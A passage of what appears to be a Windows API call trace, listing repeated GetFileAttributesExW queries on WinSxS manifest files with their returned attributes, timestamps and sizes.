	[0106.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..registrar.resources_31bf3856ad364e35_6.1.7600.16385_en-us_786caddbc35d7721.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..registrar.resources_31bf3856ad364e35_6.1.7600.16385_en-us_786caddbc35d7721.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbf48 | out: lpFileInformation=0x129dbf48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xbdd)) returned 1
	[0106.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ropertypageprovider_31bf3856ad364e35_6.1.7600.16385_none_df05ec5796b1db12.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ropertypageprovider_31bf3856ad364e35_6.1.7600.16385_none_df05ec5796b1db12.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbf98 | out: lpFileInformation=0x129dbf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aca19d4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x11079744, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x227b89aa, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x85a)) returned 1
	[0106.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..rtabledevicefeature_31bf3856ad364e35_6.1.7601.17514_none_afee25ec774584fd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..rtabledevicefeature_31bf3856ad364e35_6.1.7601.17514_none_afee25ec774584fd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982be8 | out: lpFileInformation=0x12982be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96420cdb, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x96420cdb, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x9646cf9c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x17f1)) returned 1
	[0106.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..rvc-instrumentation_31bf3856ad364e35_6.1.7600.16385_none_abe6e0be80f76a53.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..rvc-instrumentation_31bf3856ad364e35_6.1.7600.16385_none_abe6e0be80f76a53.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982c38 | out: lpFileInformation=0x12982c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeca373, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0xdeca373, ftLastAccessTime.dwHighDateTime=0x1ca0429, ftLastWriteTime.dwLowDateTime=0x7bb86737, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x8b50)) returned 1
	[0106.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..s-service.resources_31bf3856ad364e35_6.1.7600.16385_en-us_676207815c08e334.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..s-service.resources_31bf3856ad364e35_6.1.7600.16385_en-us_676207815c08e334.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982c88 | out: lpFileInformation=0x12982c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4b587b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb4b587b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xacf)) returned 1
	[0106.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..scripting.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3dc62be2e111722d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..scripting.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3dc62be2e111722d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982cd8 | out: lpFileInformation=0x12982cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b6599c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b6599c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x2d8)) returned 1
	[0106.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sfileprotection-adm_31bf3856ad364e35_6.1.7600.16385_none_80ae6132a3c1c1b6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sfileprotection-adm_31bf3856ad364e35_6.1.7600.16385_none_80ae6132a3c1c1b6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982d28 | out: lpFileInformation=0x12982d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f61e86a, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7deb6784, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8f690c81, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xaf9)) returned 1
	[0106.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sh-helper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1ce65a8a5424fac2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sh-helper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1ce65a8a5424fac2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982d78 | out: lpFileInformation=0x12982d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x886)) returned 1
	[0106.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sh-helper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_4991601e63134de6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sh-helper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_4991601e63134de6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982dc8 | out: lpFileInformation=0x12982dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9df)) returned 1
	[0106.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sh-helper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_58f470aad14c25ff.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sh-helper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_58f470aad14c25ff.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982e18 | out: lpFileInformation=0x12982e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x847)) returned 1
	[0106.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sharingservice-core_31bf3856ad364e35_6.1.7601.17514_none_abc0c819867f6188.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sharingservice-core_31bf3856ad364e35_6.1.7601.17514_none_abc0c819867f6188.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982e68 | out: lpFileInformation=0x12982e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97882961, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x97882961, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x978cec21, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x5cc)) returned 1
	[0106.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..shooters-deployment_31bf3856ad364e35_6.1.7601.17514_none_dac782519913d83a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..shooters-deployment_31bf3856ad364e35_6.1.7601.17514_none_dac782519913d83a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982eb8 | out: lpFileInformation=0x12982eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a0438, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb2a0438, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb2c6599, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x64c)) returned 1
	[0106.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7601.17514_none_90ba4080c9f2e648.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7601.17514_none_90ba4080c9f2e648.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982f08 | out: lpFileInformation=0x12982f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5aaf539, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb5aaf539, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb5afb7f9, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xb633)) returned 1
	[0106.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..sition-uicomponents_31bf3856ad364e35_6.1.7601.17514_none_2d1a84c49beb2055.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..sition-uicomponents_31bf3856ad364e35_6.1.7601.17514_none_2d1a84c49beb2055.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982f58 | out: lpFileInformation=0x12982f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af13a6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb0af13a6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb0b17506, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x2a55)) returned 1
	[0106.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..smenttool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f4a5e638945d88e4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..smenttool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f4a5e638945d88e4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982fa8 | out: lpFileInformation=0x12982fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa107117, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x928)) returned 1
	[0106.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..svc-extra.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ceee882be1c01807.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..svc-extra.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ceee882be1c01807.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12982ff8 | out: lpFileInformation=0x12982ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1ec16d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1ec16d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xaad)) returned 1
	[0106.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..t-snapins.resources_31bf3856ad364e35_6.1.7600.16385_en-us_34d5b44762b4bcc4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..t-snapins.resources_31bf3856ad364e35_6.1.7600.16385_en-us_34d5b44762b4bcc4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983048 | out: lpFileInformation=0x12983048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fdbe98, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2fdbe98, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xf4b)) returned 1
	[0106.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..tion-classinstaller_31bf3856ad364e35_6.1.7600.16385_none_68fb42e0b72b5a43.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..tion-classinstaller_31bf3856ad364e35_6.1.7600.16385_none_68fb42e0b72b5a43.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983098 | out: lpFileInformation=0x12983098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3fcfdd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x12a666ec, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xbc479d8f, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xc21)) returned 1
	[0106.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..tion-wiatwaincompat_31bf3856ad364e35_6.1.7600.16385_none_b6d9de8509a1e521.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..tion-wiatwaincompat_31bf3856ad364e35_6.1.7600.16385_none_b6d9de8509a1e521.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129830e8 | out: lpFileInformation=0x129830e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x624491c6, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19cd4aec, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x62495480, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xd17)) returned 1
	[0106.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..tworksharingservice_31bf3856ad364e35_6.1.7601.17514_none_33f3c7984a8d7bf6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..tworksharingservice_31bf3856ad364e35_6.1.7601.17514_none_33f3c7984a8d7bf6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983138 | out: lpFileInformation=0x12983138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x977c427f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x977c427f, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x978366a0, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xc82)) returned 1
	[0106.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ty-client.resources_31bf3856ad364e35_6.1.7600.16385_en-us_72765916ed410e3f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ty-client.resources_31bf3856ad364e35_6.1.7600.16385_en-us_72765916ed410e3f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983188 | out: lpFileInformation=0x12983188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7091c3a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf77476bf, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf7091c3a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x858)) returned 1
	[0106.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..umservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c8200175fb5e14f2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..umservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c8200175fb5e14f2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129831d8 | out: lpFileInformation=0x129831d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb443050, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb443050, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8a2)) returned 1
	[0106.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..up-wizard.resources_31bf3856ad364e35_6.1.7600.16385_en-us_156111fa678395fb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..up-wizard.resources_31bf3856ad364e35_6.1.7600.16385_en-us_156111fa678395fb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983228 | out: lpFileInformation=0x12983228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9303129, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf9303129, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x890)) returned 1
	[0106.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ure-other.resources_31bf3856ad364e35_6.1.7600.16385_en-us_09d25d5db275f73d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ure-other.resources_31bf3856ad364e35_6.1.7600.16385_en-us_09d25d5db275f73d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983278 | out: lpFileInformation=0x12983278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c303e6, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf4c303e6, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xc78)) returned 1
	[0106.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ure-ws232.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a046e7c9ea9f564.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ure-ws232.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a046e7c9ea9f564.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129832c8 | out: lpFileInformation=0x129832c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b4b390, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf4b4b390, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x95d)) returned 1
	[0106.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..utomation.resources_31bf3856ad364e35_6.1.7600.16385_en-us_572967463e9625a9.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..utomation.resources_31bf3856ad364e35_6.1.7600.16385_en-us_572967463e9625a9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983318 | out: lpFileInformation=0x12983318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92908fe, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92908fe, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x954)) returned 1
	[0106.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..veryagent.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e23a45fb665794e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..veryagent.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e23a45fb665794e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983368 | out: lpFileInformation=0x12983368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c303e6, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c303e6, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8d1)) returned 1
	[0106.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..verytools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6ab84f2c8be6692a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..verytools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6ab84f2c8be6692a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129833b8 | out: lpFileInformation=0x129833b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d473a2, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3d473a2, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8cf)) returned 1
	[0106.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..vironment.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7730bb201e69122a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..vironment.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7730bb201e69122a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983408 | out: lpFileInformation=0x12983408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb501ded, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb501ded, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x1e6)) returned 1
	[0106.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..win32-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ff9b39093356167f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..win32-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ff9b39093356167f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983458 | out: lpFileInformation=0x12983458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf19f0e5d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf19f0e5d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9be)) returned 1
	[0106.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..wsupdateclient-core_31bf3856ad364e35_7.5.7601.17514_none_1f3413afc64d10c5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..wsupdateclient-core_31bf3856ad364e35_7.5.7601.17514_none_1f3413afc64d10c5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129834a8 | out: lpFileInformation=0x129834a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a6e31f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x99a6e31f, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x99b068a0, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xc4b8)) returned 1
	[0106.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ystem-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5f7501e27f11e5a4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ystem-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5f7501e27f11e5a4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129834f8 | out: lpFileInformation=0x129834f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd700ab1, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd700ab1, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xa87)) returned 1
	[0106.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ystemassessmenttool_31bf3856ad364e35_6.1.7601.17514_none_d9bafd47cdf9833b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ystemassessmenttool_31bf3856ad364e35_6.1.7601.17514_none_d9bafd47cdf9833b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983548 | out: lpFileInformation=0x12983548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80df2fe5, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x80df2fe5, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x80e19145, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x3493)) returned 1
